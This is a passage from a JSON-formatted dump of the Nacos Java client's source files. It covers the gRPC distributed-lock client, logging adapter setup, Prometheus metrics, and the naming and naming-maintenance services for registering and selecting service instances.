com.alibaba.nacos.api.lock.remote.request.LockOperationRequest;\nimport com.alibaba.nacos.api.lock.remote.response.LockOperationResponse;\nimport com.alibaba.nacos.api.remote.RemoteConstants;\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.lock.remote.AbstractLockClient;\nimport com.alibaba.nacos.client.security.SecurityProxy;\nimport com.alibaba.nacos.client.utils.AppNameUtils;\nimport com.alibaba.nacos.common.remote.ConnectionType;\nimport com.alibaba.nacos.common.remote.client.RpcClient;\nimport com.alibaba.nacos.common.remote.client.RpcClientFactory;\nimport com.alibaba.nacos.common.remote.client.RpcClientTlsConfigFactory;\nimport com.alibaba.nacos.common.remote.client.ServerListFactory;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.UUID;\n\n/**\n * lock grpc client.\n *\n * @author 985492783@qq.com\n * @description LockGrpcClient\n * @date 2023/6/28 17:35\n */\npublic class LockGrpcClient extends AbstractLockClient {\n    \n    private final String uuid;\n    \n    private final Long requestTimeout;\n    \n    private final RpcClient rpcClient;\n    \n    public LockGrpcClient(NacosClientProperties properties, ServerListFactory serverListFactory,\n            SecurityProxy securityProxy) throws NacosException {\n        super(securityProxy);\n        this.uuid = UUID.randomUUID().toString();\n        this.requestTimeout = Long.parseLong(properties.getProperty(PropertyConstants.LOCK_REQUEST_TIMEOUT, \"-1\"));\n        Map<String, String> labels = new HashMap<>();\n        labels.put(RemoteConstants.LABEL_SOURCE, RemoteConstants.LABEL_SOURCE_SDK);\n        labels.put(RemoteConstants.LABEL_MODULE, RemoteConstants.LABEL_MODULE_LOCK);\n        labels.put(Constants.APPNAME, AppNameUtils.getAppName());\n        this.rpcClient = RpcClientFactory.createClient(uuid, ConnectionType.GRPC, labels,\n                RpcClientTlsConfigFactory.getInstance().createSdkConfig(properties.asProperties()));\n        start(serverListFactory);\n    }\n    \n    private void start(ServerListFactory serverListFactory) throws NacosException {\n        rpcClient.serverListFactory(serverListFactory);\n        rpcClient.start();\n    }\n    \n    @Override\n    public Boolean lock(LockInstance instance) throws NacosException {\n        if (!isAbilitySupportedByServer()) {\n            throw new NacosRuntimeException(NacosException.SERVER_NOT_IMPLEMENTED,\n                    \"Request Nacos server version is too low, not support lock feature.\");\n        }\n        LockOperationRequest request = new LockOperationRequest();\n        request.setLockInstance(instance);\n        request.setLockOperationEnum(LockOperationEnum.ACQUIRE);\n        LockOperationResponse acquireLockResponse = requestToServer(request, LockOperationResponse.class);\n        return (Boolean) acquireLockResponse.getResult();\n    }\n    \n    @Override\n    public Boolean unLock(LockInstance instance) throws NacosException {\n        if (!isAbilitySupportedByServer()) {\n            throw new NacosRuntimeException(NacosException.SERVER_NOT_IMPLEMENTED,\n                    \"Request Nacos server version is too low, not support lock feature.\");\n        }\n        LockOperationRequest request = new LockOperationRequest();\n        request.setLockInstance(instance);\n        request.setLockOperationEnum(LockOperationEnum.RELEASE);\n        LockOperationResponse acquireLockResponse = requestToServer(request, LockOperationResponse.class);\n        return (Boolean) acquireLockResponse.getResult();\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        rpcClient.shutdown();\n    }\n    \n    private <T extends Response> T requestToServer(AbstractLockRequest request, Class<T> responseClass)\n            throws NacosException {\n        try {\n            request.putAllHeader(getSecurityHeaders());\n            Response response =\n                    requestTimeout < 0 ? rpcClient.request(request) : rpcClient.request(request, requestTimeout);\n            if (ResponseCode.SUCCESS.getCode() != response.getResultCode()) {\n                throw new NacosException(response.getErrorCode(), response.getMessage());\n            }\n            if (responseClass.isAssignableFrom(response.getClass())) {\n                return (T) response;\n            }\n        } catch (NacosException e) {\n            throw e;\n        } catch (Exception e) {\n            throw new NacosException(NacosException.SERVER_ERROR, \"Request nacos server failed: \", e);\n        }\n        throw new NacosException(NacosException.SERVER_ERROR, \"Server return invalid response\");\n    }\n    \n    private boolean isAbilitySupportedByServer() {\n        return rpcClient.getConnectionAbility(AbilityKey.SERVER_DISTRIBUTED_LOCK) == AbilityStatus.SUPPORTED;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/logging/NacosLogging.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.logging;\n\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.common.executor.ExecutorFactory;\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.common.logging.NacosLoggingAdapter;\nimport com.alibaba.nacos.common.logging.NacosLoggingAdapterBuilder;\nimport com.alibaba.nacos.common.logging.NacosLoggingProperties;\nimport com.alibaba.nacos.common.spi.NacosServiceLoader;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * nacos logging.\n *\n * @author mai.jh\n */\npublic class NacosLogging {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(NacosLogging.class);\n    \n    private NacosLoggingAdapter loggingAdapter;\n    \n    private NacosLoggingProperties loggingProperties;\n    \n    private NacosLogging() {\n        initLoggingAdapter();\n    }\n    \n    private void initLoggingAdapter() {\n        Class<? extends Logger> loggerClass = LOGGER.getClass();\n        for (NacosLoggingAdapterBuilder each : NacosServiceLoader.load(NacosLoggingAdapterBuilder.class)) {\n            LOGGER.info(\"Nacos Logging Adapter Builder: {}\", each.getClass().getName());\n            NacosLoggingAdapter tempLoggingAdapter = buildLoggingAdapterFromBuilder(each);\n            if (isAdaptLogging(tempLoggingAdapter, loggerClass)) {\n                LOGGER.info(\"Nacos Logging Adapter: {} match {} success.\", tempLoggingAdapter.getClass().getName(),\n                        loggerClass.getName());\n                loggingProperties = new NacosLoggingProperties(tempLoggingAdapter.getDefaultConfigLocation(),\n                        NacosClientProperties.PROTOTYPE.asProperties());\n                loggingAdapter = tempLoggingAdapter;\n            }\n        }\n        if (null == loggingAdapter) {\n            LOGGER.warn(\"Nacos Logging don't find adapter, logging will print into application logs.\");\n            return;\n        }\n        scheduleReloadTask();\n    }\n    \n    private NacosLoggingAdapter buildLoggingAdapterFromBuilder(NacosLoggingAdapterBuilder builder) {\n        try {\n            return builder.build();\n        } catch (Throwable e) {\n            LOGGER.warn(\"Build Nacos Logging Adapter failed: {}\", e.getMessage());\n            return null;\n        }\n    }\n    \n    private boolean isAdaptLogging(NacosLoggingAdapter loggingAdapter, Class<? extends Logger> loggerClass) {\n        return null != loggingAdapter && loggingAdapter.isEnabled() && loggingAdapter.isAdaptedLogger(loggerClass);\n    }\n    \n    private void scheduleReloadTask() {\n        ScheduledExecutorService reloadContextService = ExecutorFactory.Managed\n                .newSingleScheduledExecutorService(\"Nacos-Client\",\n                        new NameThreadFactory(\"com.alibaba.nacos.client.logging\"));\n        reloadContextService.scheduleAtFixedRate(() -> {\n            if (loggingAdapter.isNeedReloadConfiguration()) {\n                loggingAdapter.loadConfiguration(loggingProperties);\n            }\n        }, 0, loggingProperties.getReloadInternal(), TimeUnit.SECONDS);\n    }\n    \n    private static class NacosLoggingInstance {\n        \n        private static final NacosLogging INSTANCE = new NacosLogging();\n    }\n    \n    public static NacosLogging getInstance() {\n        return NacosLoggingInstance.INSTANCE;\n    }\n    \n    /**\n     * Load logging Configuration.\n     */\n    public void loadConfiguration() {\n        try {\n            if (null != loggingAdapter) {\n                loggingAdapter.loadConfiguration(loggingProperties);\n            }\n        } catch (Throwable t) {\n            LOGGER.warn(\"Load {} Configuration of Nacos fail, message: {}\", LOGGER.getClass().getName(),\n                    t.getMessage());\n        }\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/monitor/MetricsMonitor.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.monitor;\n\nimport io.prometheus.client.Counter;\nimport io.prometheus.client.Gauge;\nimport io.prometheus.client.Histogram;\n\n/**\n * Metrics Monitor.\n *\n * @author Nacos\n */\npublic class MetricsMonitor {\n    \n    private static final Gauge NACOS_MONITOR_GAUGE = Gauge.build().name(\"nacos_monitor\").labelNames(\"module\", \"name\")\n            .help(\"nacos_monitor\").register();\n    \n    private static final Histogram NACOS_CLIENT_REQUEST_HISTOGRAM = Histogram.build()\n            .labelNames(\"module\", \"method\", \"url\", \"code\").name(\"nacos_client_request\").help(\"nacos_client_request\")\n            .register();\n    \n    private static final Counter NACOS_CLIENT_NAMING_REQUEST_FAILED_TOTAL = Counter.build()\n            .name(\"nacos_client_naming_request_failed_total\").help(\"nacos_client_naming_request_failed_total\")\n            .labelNames(\"module\", \"req_class\", \"res_status\", \"res_code\", \"err_class\").register();\n    \n    public static Gauge.Child getServiceInfoMapSizeMonitor() {\n        return NACOS_MONITOR_GAUGE.labels(\"naming\", \"serviceInfoMapSize\");\n    }\n    \n    public static Gauge.Child getListenConfigCountMonitor() {\n        return NACOS_MONITOR_GAUGE.labels(\"config\", \"listenConfigCount\");\n    }\n    \n    public static Histogram.Child getConfigRequestMonitor(String method, String url, String code) {\n        return NACOS_CLIENT_REQUEST_HISTOGRAM.labels(\"config\", method, url, code);\n    }\n    \n    public static Histogram.Child getNamingRequestMonitor(String method, String url, String code) {\n        return NACOS_CLIENT_REQUEST_HISTOGRAM.labels(\"naming\", method, url, code);\n    }\n    \n    public static Counter.Child getNamingRequestFailedMonitor(String reqClass, String resStatus, String resCode,\n            String errClass) {\n        return NACOS_CLIENT_NAMING_REQUEST_FAILED_TOTAL.labels(\"naming\", reqClass, resStatus, resCode, errClass);\n    }\n}\n\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/NacosNamingMaintainService.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.NamingMaintainService;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.Service;\nimport com.alibaba.nacos.api.selector.AbstractSelector;\nimport com.alibaba.nacos.api.selector.ExpressionSelector;\nimport com.alibaba.nacos.api.selector.NoneSelector;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.naming.core.NamingServerListManager;\nimport com.alibaba.nacos.client.naming.remote.http.NamingHttpClientManager;\nimport com.alibaba.nacos.client.naming.remote.http.NamingHttpClientProxy;\nimport com.alibaba.nacos.client.naming.utils.InitUtils;\nimport com.alibaba.nacos.client.security.SecurityProxy;\nimport com.alibaba.nacos.client.utils.ValidatorUtils;\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.common.utils.ThreadUtils;\n\nimport java.util.Map;\nimport java.util.Properties;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\n\nimport static com.alibaba.nacos.client.constant.Constants.Security.SECURITY_INFO_REFRESH_INTERVAL_MILLS;\nimport static com.alibaba.nacos.client.utils.LogUtils.NAMING_LOGGER;\n\n/**\n * Nacos naming maintain service.\n *\n * @author liaochuntao\n * @since 1.0.1\n * @deprecated Use {@link com.alibaba.nacos.api.naming.maintain.NamingMaintainService} in nacos-maintainer-client article tp replaced.\n */\n@Deprecated\npublic class NacosNamingMaintainService implements NamingMaintainService {\n    \n    private String namespace;\n    \n    private NamingHttpClientProxy serverProxy;\n    \n    private NamingServerListManager serverListManager;\n    \n    private SecurityProxy securityProxy;\n    \n    private ScheduledExecutorService executorService;\n    \n    public NacosNamingMaintainService(String serverList) throws NacosException {\n        Properties properties = new Properties();\n        properties.setProperty(PropertyKeyConst.SERVER_ADDR, serverList);\n        init(properties);\n    }\n    \n    public NacosNamingMaintainService(Properties properties) throws NacosException {\n        init(properties);\n    }\n    \n    private void init(Properties properties) throws NacosException {\n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n        ValidatorUtils.checkInitParam(nacosClientProperties);\n        namespace = InitUtils.initNamespaceForNaming(nacosClientProperties);\n        InitUtils.initSerialization();\n        InitUtils.initWebRootContext(nacosClientProperties);\n        serverListManager = new NamingServerListManager(nacosClientProperties, namespace);\n        serverListManager.start();\n        securityProxy = new SecurityProxy(serverListManager,\n                NamingHttpClientManager.getInstance().getNacosRestTemplate());\n        initSecurityProxy(properties);\n        serverProxy = new NamingHttpClientProxy(namespace, securityProxy, serverListManager, nacosClientProperties);\n    }\n    \n    private void initSecurityProxy(Properties properties) {\n        this.executorService = new ScheduledThreadPoolExecutor(1,\n                new NameThreadFactory(\"com.alibaba.nacos.client.naming.maintainService.security\"));\n        this.securityProxy.login(properties);\n        this.executorService\n                .scheduleWithFixedDelay(() -> securityProxy.login(properties), 0, SECURITY_INFO_REFRESH_INTERVAL_MILLS,\n                        TimeUnit.MILLISECONDS);\n        \n    }\n    \n    @Override\n    public void updateInstance(String serviceName, Instance instance) throws NacosException {\n        updateInstance(serviceName, Constants.DEFAULT_GROUP, instance);\n    }\n    \n    @Override\n    public void updateInstance(String serviceName, String groupName, Instance instance) throws NacosException {\n        serverProxy.updateInstance(serviceName, groupName, instance);\n    }\n    \n    @Override\n    public Service queryService(String serviceName) throws NacosException {\n        return queryService(serviceName, Constants.DEFAULT_GROUP);\n    }\n    \n    @Override\n    public Service queryService(String serviceName, String groupName) throws NacosException {\n        return serverProxy.queryService(serviceName, groupName);\n    }\n    \n    @Override\n    public void createService(String serviceName) throws NacosException {\n        createService(serviceName, Constants.DEFAULT_GROUP);\n    }\n    \n    @Override\n    public void createService(String serviceName, String groupName) throws NacosException {\n        createService(serviceName, groupName, Constants.DEFAULT_PROTECT_THRESHOLD);\n    }\n    \n    @Override\n    public void createService(String serviceName, String groupName, float protectThreshold) throws NacosException {\n        Service service = new Service();\n        service.setName(serviceName);\n        service.setGroupName(groupName);\n        service.setProtectThreshold(protectThreshold);\n        \n        createService(service, new NoneSelector());\n    }\n    \n    @Override\n    public void createService(String serviceName, String groupName, float protectThreshold, String expression)\n            throws NacosException {\n        Service service = new Service();\n        service.setName(serviceName);\n        service.setGroupName(groupName);\n        service.setProtectThreshold(protectThreshold);\n        \n        ExpressionSelector selector = new ExpressionSelector();\n        selector.setExpression(expression);\n        \n        createService(service, selector);\n    }\n    \n    @Override\n    public void createService(Service service, AbstractSelector selector) throws NacosException {\n        serverProxy.createService(service, selector);\n    }\n    \n    @Override\n    public boolean deleteService(String serviceName) throws NacosException {\n        return deleteService(serviceName, Constants.DEFAULT_GROUP);\n    }\n    \n    @Override\n    public boolean deleteService(String serviceName, String groupName) throws NacosException {\n        return serverProxy.deleteService(serviceName, groupName);\n    }\n    \n    @Override\n    public void updateService(String serviceName, String groupName, float protectThreshold) throws NacosException {\n        Service service = new Service();\n        service.setName(serviceName);\n        service.setGroupName(groupName);\n        service.setProtectThreshold(protectThreshold);\n        \n        updateService(service, new NoneSelector());\n    }\n    \n    @Override\n    public void updateService(String serviceName, String groupName, float protectThreshold,\n            Map<String, String> metadata) throws NacosException {\n        Service service = new Service();\n        service.setName(serviceName);\n        service.setGroupName(groupName);\n        service.setProtectThreshold(protectThreshold);\n        service.setMetadata(metadata);\n        \n        updateService(service, new NoneSelector());\n    }\n    \n    @Override\n    public void updateService(Service service, AbstractSelector selector) throws NacosException {\n        serverProxy.updateService(service, selector);\n    }\n    \n    @Override\n    public void shutDown() throws NacosException {\n        String className = this.getClass().getName();\n        NAMING_LOGGER.info(\"{} do shutdown begin\", className);\n        serverListManager.shutdown();\n        serverProxy.shutdown();\n        ThreadUtils.shutdownThreadPool(executorService, NAMING_LOGGER);\n        NAMING_LOGGER.info(\"{} do shutdown stop\", className);\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/NacosNamingService.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.NamingService;\nimport com.alibaba.nacos.api.naming.listener.EventListener;\nimport com.alibaba.nacos.api.naming.listener.FuzzyWatchEventWatcher;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.ListView;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.api.naming.selector.NamingContext;\nimport com.alibaba.nacos.api.naming.selector.NamingResult;\nimport com.alibaba.nacos.api.naming.selector.NamingSelector;\nimport com.alibaba.nacos.api.naming.utils.NamingUtils;\nimport com.alibaba.nacos.api.selector.AbstractSelector;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.naming.cache.NamingFuzzyWatchContext;\nimport com.alibaba.nacos.client.naming.cache.NamingFuzzyWatchServiceListHolder;\nimport com.alibaba.nacos.client.naming.cache.ServiceInfoHolder;\nimport com.alibaba.nacos.client.naming.core.Balancer;\nimport com.alibaba.nacos.client.naming.event.InstancesChangeEvent;\nimport com.alibaba.nacos.client.naming.event.InstancesChangeNotifier;\nimport com.alibaba.nacos.client.naming.event.InstancesDiff;\nimport com.alibaba.nacos.client.naming.event.NamingFuzzyWatchNotifyEvent;\nimport com.alibaba.nacos.client.naming.remote.NamingClientProxy;\nimport com.alibaba.nacos.client.naming.remote.NamingClientProxyDelegate;\nimport com.alibaba.nacos.client.naming.selector.NamingSelectorFactory;\nimport com.alibaba.nacos.client.naming.selector.NamingSelectorWrapper;\nimport com.alibaba.nacos.client.naming.selector.ServiceInfoContext;\nimport com.alibaba.nacos.client.naming.utils.InitUtils;\nimport com.alibaba.nacos.client.naming.utils.UtilAndComs;\nimport com.alibaba.nacos.client.utils.ClientBasicParamUtil;\nimport com.alibaba.nacos.client.utils.PreInitUtils;\nimport com.alibaba.nacos.client.utils.ValidatorUtils;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.FuzzyGroupKeyPattern;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.util.ArrayList;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Properties;\nimport java.util.UUID;\nimport java.util.concurrent.Future;\n\nimport static com.alibaba.nacos.api.common.Constants.ANY_PATTERN;\nimport static com.alibaba.nacos.client.naming.selector.NamingSelectorFactory.getUniqueClusterString;\nimport static com.alibaba.nacos.client.utils.LogUtils.NAMING_LOGGER;\n\n/**\n * Nacos Naming Service.\n *\n * @author nkorange\n */\npublic class NacosNamingService implements NamingService {\n    \n    private static final String DEFAULT_NAMING_LOG_FILE_PATH = \"naming.log\";\n    \n    private static final String UP = \"UP\";\n    \n    private static final String DOWN = \"DOWN\";\n    \n    /**\n     * Each Naming service should have different namespace.\n     */\n    private String namespace;\n    \n    @Deprecated\n    private String logName;\n    \n    private ServiceInfoHolder serviceInfoHolder;\n    \n    private NamingFuzzyWatchServiceListHolder namingFuzzyWatchServiceListHolder;\n    \n    private InstancesChangeNotifier changeNotifier;\n    \n    private NamingClientProxy clientProxy;\n    \n    private String notifierEventScope;\n    \n    public NacosNamingService(String serverList) throws NacosException {\n        Properties properties = new Properties();\n        properties.setProperty(PropertyKeyConst.SERVER_ADDR, serverList);\n        init(properties);\n    }\n    \n    public NacosNamingService(Properties properties) throws NacosException {\n        init(properties);\n    }\n    \n    private void init(Properties properties) throws NacosException {\n        PreInitUtils.asyncPreLoadCostComponent();\n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n        NAMING_LOGGER.info(ClientBasicParamUtil.getInputParameters(nacosClientProperties.asProperties()));\n        ValidatorUtils.checkInitParam(nacosClientProperties);\n        this.namespace = InitUtils.initNamespaceForNaming(nacosClientProperties);\n        InitUtils.initSerialization();\n        InitUtils.initWebRootContext(nacosClientProperties);\n        initLogName(nacosClientProperties);\n        \n        this.notifierEventScope = UUID.randomUUID().toString();\n        this.changeNotifier = new InstancesChangeNotifier(this.notifierEventScope);\n        NotifyCenter.registerToPublisher(InstancesChangeEvent.class, 16384);\n        NotifyCenter.registerSubscriber(changeNotifier);\n        this.serviceInfoHolder = new ServiceInfoHolder(namespace, this.notifierEventScope, nacosClientProperties);\n        \n        NotifyCenter.registerToPublisher(NamingFuzzyWatchNotifyEvent.class, 16384);\n        this.namingFuzzyWatchServiceListHolder = new NamingFuzzyWatchServiceListHolder(this.notifierEventScope);\n        \n        this.clientProxy = new NamingClientProxyDelegate(this.namespace, serviceInfoHolder, nacosClientProperties,\n                changeNotifier, namingFuzzyWatchServiceListHolder);\n    }\n    \n    @Deprecated\n    private void initLogName(NacosClientProperties properties) {\n        logName = properties.getProperty(UtilAndComs.NACOS_NAMING_LOG_NAME, DEFAULT_NAMING_LOG_FILE_PATH);\n    }\n    \n    @Override\n    public void registerInstance(String serviceName, String ip, int port) throws NacosException {\n        registerInstance(serviceName, ip, port, Constants.DEFAULT_CLUSTER_NAME);\n    }\n    \n    @Override\n    public void registerInstance(String serviceName, String groupName, String ip, int port) throws NacosException {\n        registerInstance(serviceName, groupName, ip, port, Constants.DEFAULT_CLUSTER_NAME);\n    }\n    \n    @Override\n    public void registerInstance(String serviceName, String ip, int port, String clusterName) throws NacosException {\n        registerInstance(serviceName, Constants.DEFAULT_GROUP, ip, port, clusterName);\n    }\n    \n    @Override\n    public void registerInstance(String serviceName, String groupName, String ip, int port, String clusterName)\n            throws NacosException {\n        Instance instance = new Instance();\n        instance.setIp(ip);\n        instance.setPort(port);\n        instance.setWeight(1.0);\n        instance.setClusterName(clusterName);\n        registerInstance(serviceName, groupName, instance);\n    }\n    \n    @Override\n    public void registerInstance(String serviceName, Instance instance) throws NacosException {\n        registerInstance(serviceName, Constants.DEFAULT_GROUP, instance);\n    }\n    \n    @Override\n    public void registerInstance(String serviceName, String groupName, Instance instance) throws NacosException {\n        NamingUtils.checkInstanceIsLegal(instance);\n        checkAndStripGroupNamePrefix(instance, groupName);\n        clientProxy.registerService(serviceName, groupName, instance);\n    }\n    \n    @Override\n    public void batchRegisterInstance(String serviceName, String groupName, List<Instance> instances)\n            throws NacosException {\n        NamingUtils.batchCheckInstanceIsLegal(instances);\n        batchCheckAndStripGroupNamePrefix(instances, groupName);\n        clientProxy.batchRegisterService(serviceName, groupName, instances);\n    }\n    \n    @Override\n    public void batchDeregisterInstance(String serviceName, String groupName, List<Instance> instances)\n            throws NacosException {\n        NamingUtils.batchCheckInstanceIsLegal(instances);\n        batchCheckAndStripGroupNamePrefix(instances, groupName);\n        clientProxy.batchDeregisterService(serviceName, groupName, instances);\n    }\n    \n    @Override\n    public void deregisterInstance(String serviceName, String ip, int port) throws NacosException {\n        deregisterInstance(serviceName, ip, port, Constants.DEFAULT_CLUSTER_NAME);\n    }\n    \n    @Override\n    public void deregisterInstance(String serviceName, String groupName, String ip, int port) throws NacosException {\n        deregisterInstance(serviceName, groupName, ip, port, Constants.DEFAULT_CLUSTER_NAME);\n    }\n    \n    @Override\n    public void deregisterInstance(String serviceName, String ip, int port, String clusterName) throws NacosException {\n        deregisterInstance(serviceName, Constants.DEFAULT_GROUP, ip, port, clusterName);\n    }\n    \n    @Override\n    public void deregisterInstance(String serviceName, String groupName, String ip, int port, String clusterName)\n            throws NacosException {\n        Instance instance = new Instance();\n        instance.setIp(ip);\n        instance.setPort(port);\n        instance.setClusterName(clusterName);\n        deregisterInstance(serviceName, groupName, instance);\n    }\n    \n    @Override\n    public void deregisterInstance(String serviceName, Instance instance) throws NacosException {\n        deregisterInstance(serviceName, Constants.DEFAULT_GROUP, instance);\n    }\n    \n    @Override\n    public void deregisterInstance(String serviceName, String groupName, Instance instance) throws NacosException {\n        NamingUtils.checkInstanceIsLegal(instance);\n        checkAndStripGroupNamePrefix(instance, groupName);\n        clientProxy.deregisterService(serviceName, groupName, instance);\n    }\n    \n    @Override\n    public List<Instance> getAllInstances(String serviceName) throws NacosException {\n        return getAllInstances(serviceName, new ArrayList<>());\n    }\n    \n    @Override\n    public List<Instance> getAllInstances(String serviceName, String groupName) throws NacosException {\n        return getAllInstances(serviceName, groupName, new ArrayList<>());\n    }\n    \n    @Override\n    public List<Instance> getAllInstances(String serviceName, boolean subscribe) throws NacosException {\n        return getAllInstances(serviceName, new ArrayList<>(), subscribe);\n    }\n    \n    @Override\n    public List<Instance> getAllInstances(String serviceName, String groupName, boolean subscribe)\n            throws NacosException {\n        return getAllInstances(serviceName, groupName, new ArrayList<>(), subscribe);\n    }\n    \n    @Override\n    public List<Instance> getAllInstances(String serviceName, List<String> clusters) throws NacosException {\n        return getAllInstances(serviceName, clusters, true);\n    }\n    \n    @Override\n    public List<Instance> getAllInstances(String serviceName, String groupName, List<String> clusters)\n            throws NacosException {\n        return getAllInstances(serviceName, groupName, clusters, true);\n    }\n    \n    @Override\n    public List<Instance> getAllInstances(String serviceName, List<String> clusters, boolean subscribe)\n            throws NacosException {\n        return getAllInstances(serviceName, Constants.DEFAULT_GROUP, clusters, subscribe);\n    }\n    \n    @Override\n    public List<Instance> getAllInstances(String serviceName, String groupName, List<String> clusters,\n            boolean subscribe) throws NacosException {\n        List<Instance> list;\n        ServiceInfo serviceInfo = getServiceInfo(serviceName, groupName, clusters, subscribe);\n        if (serviceInfo == null || CollectionUtils.isEmpty(list = serviceInfo.getHosts())) {\n            return new ArrayList<>();\n        }\n        return list;\n    }\n    \n    @Override\n    public List<Instance> selectInstances(String serviceName, boolean healthy) throws NacosException {\n        return selectInstances(serviceName, new ArrayList<>(), healthy);\n    }\n    \n    @Override\n    public List<Instance> selectInstances(String serviceName, String groupName, boolean healthy) throws NacosException {\n        return selectInstances(serviceName, groupName, healthy, true);\n    }\n    \n    @Override\n    public List<Instance> selectInstances(String serviceName, boolean healthy, boolean subscribe)\n            throws NacosException {\n        return selectInstances(serviceName, new ArrayList<>(), healthy, subscribe);\n    }\n    \n    @Override\n    public List<Instance> selectInstances(String serviceName, String groupName, boolean healthy, boolean subscribe)\n            throws NacosException {\n        return selectInstances(serviceName, groupName, new ArrayList<>(), healthy, subscribe);\n    }\n    \n    @Override\n    public List<Instance> selectInstances(String serviceName, List<String> clusters, boolean healthy)\n            throws NacosException {\n        return selectInstances(serviceName, clusters, healthy, true);\n    }\n    \n    @Override\n    public List<Instance> selectInstances(String serviceName, String groupName, List<String> clusters, boolean healthy)\n            throws NacosException {\n        return selectInstances(serviceName, groupName, clusters, healthy, true);\n    }\n    \n    @Override\n    public List<Instance> selectInstances(String serviceName, List<String> clusters, boolean healthy, boolean subscribe)\n            throws NacosException {\n        return selectInstances(serviceName, Constants.DEFAULT_GROUP, clusters, healthy, subscribe);\n    }\n    \n    @Override\n    public List<Instance> selectInstances(String serviceName, String groupName, List<String> clusters, boolean healthy,\n            boolean subscribe) throws NacosException {\n        ServiceInfo serviceInfo = getServiceInfo(serviceName, groupName, clusters, subscribe);\n        return selectInstances(serviceInfo, healthy);\n    }\n    \n    private List<Instance> selectInstances(ServiceInfo serviceInfo, boolean healthy) {\n        List<Instance> list;\n        if (serviceInfo == null || CollectionUtils.isEmpty(list = serviceInfo.getHosts())) {\n            return new ArrayList<>();\n        }\n        \n        Iterator<Instance> iterator = list.iterator();\n        while (iterator.hasNext()) {\n            Instance instance = iterator.next();\n            if (healthy != instance.isHealthy() || !instance.isEnabled() || instance.getWeight() <= 0) {\n                iterator.remove();\n            }\n        }\n        \n        return list;\n    }\n    \n    private ServiceInfo getServiceInfo(String serviceName, String groupName, List<String> clusters, boolean subscribe)\n            throws NacosException {\n        ServiceInfo serviceInfo;\n        NamingSelector 